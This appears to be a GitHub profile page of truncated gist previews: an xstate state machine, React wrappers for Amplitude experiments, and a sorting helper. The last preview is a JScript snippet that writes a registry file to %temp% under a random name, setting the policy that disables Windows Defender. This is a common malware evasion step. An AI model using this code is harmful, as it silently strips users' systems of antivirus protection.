Projects that entertain me in my spare time.
- i18n-editor
- superconvert
- Page: Decode base64.
- Page: Encode base64.
- Page: Generate random number (allow max/min values).
- Page: Generate random UUID.
import { createMachine, assign } from "xstate"; | |
interface Context { | |
maxGears: number; | |
fuelLevel: number; | |
currentGear: number; | |
} | |
const engineCarMachine = createMachine<Context>( | |
{ |
// <Demo> must be enclosed in <ExperimentLayout>. | |
// | |
// Example: | |
// <ExperimentLayout> | |
// <Demo /> | |
// </ExperimentLayout> | |
const Demo = () => { | |
const { isControlActive } = useExperiment(); | |
const variantId = 'test_demo_experiment'; // TODO: update with real experiment flag key. |
import { useContext } from 'react'; | |
import { | |
AmplitudeExperimentContext, | |
AmplitudeExperimentContextValue, | |
} from './ExperimentContext'; | |
const useExperiment = (): AmplitudeExperimentContextValue => { | |
const context = useContext(AmplitudeExperimentContext); |
import React, { FC } from 'react'; | |
import { AmplitudeExperimentProvider } from './ExperimentProvider'; | |
const ExperimentLayout: FC = ({ children }) => { | |
const debug = true; // todo: Set this const dependending your environment. | |
return ( | |
<AmplitudeExperimentProvider | |
envExperimentKey="EXPERIMENT-ENVIRONMENT-KEY" |
// ExperimentProvider.tsx | |
import { FC, useMemo, useState } from 'react'; | |
import { | |
AmplitudeUserProvider, | |
Experiment, | |
ExperimentClient, | |
} from '@amplitude/experiment-js-client'; | |
import Amplitude from 'amplitude-js'; | |
import { |
import { createContext } from 'react'; | |
import { ExperimentClient } from '@amplitude/experiment-js-client'; | |
export interface AmplitudeExperimentContextValue { | |
experiment?: ExperimentClient; | |
isVariantActive: (variantId: string, variantValue?: string) => boolean; | |
/** | |
* @description Returns true if the user is in the experiment with variant `control`. | |
*/ | |
isControlActive: (variantId: string, defaultControl?: string) => boolean; |
import { useCallback, useEffect, useState } from 'react'; | |
import { Experiment, ExperimentClient } from '@amplitude/experiment-js-client'; | |
import { | |
AmplitudeExperimentContext, | |
type AmplitudeExperimentContextValue, | |
} from './AmplitudeExperimentContext'; | |
export interface AmplitudeExperimentProviderProps { | |
envExperimentKey: string; |
export function orderArrayByNumberAttribute<T>( | |
array: T[], | |
attribute: keyof T, | |
order: 'asc' | 'desc', | |
): T[] { | |
return array.sort((a, b) => { | |
const aValue = a[attribute]; | |
const bValue = b[attribute]; | |
if (order === 'asc') { |
var regContent = "Windows Registry Editor Version 5.00\n\n"; | |
regContent = regContent + "[HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender]\n"; | |
regContent = regContent + "\"DisableAntiSpyware\"=dword:00000001\n\n"; | |
var sw = WSH.CreateObject("scripting.filesystemobject"); | |
var sh = WScript.createObject("wscript.shell"); | |
var parth = sh.ExpandEnvironmentStrings("%temp%") + "\\ebgeaegdbdecaedfebace.reg"; | |
if (sw.fileExists(parth)) { | |
sw.deleteFile(parth); |
Projects that entertain me in my spare time.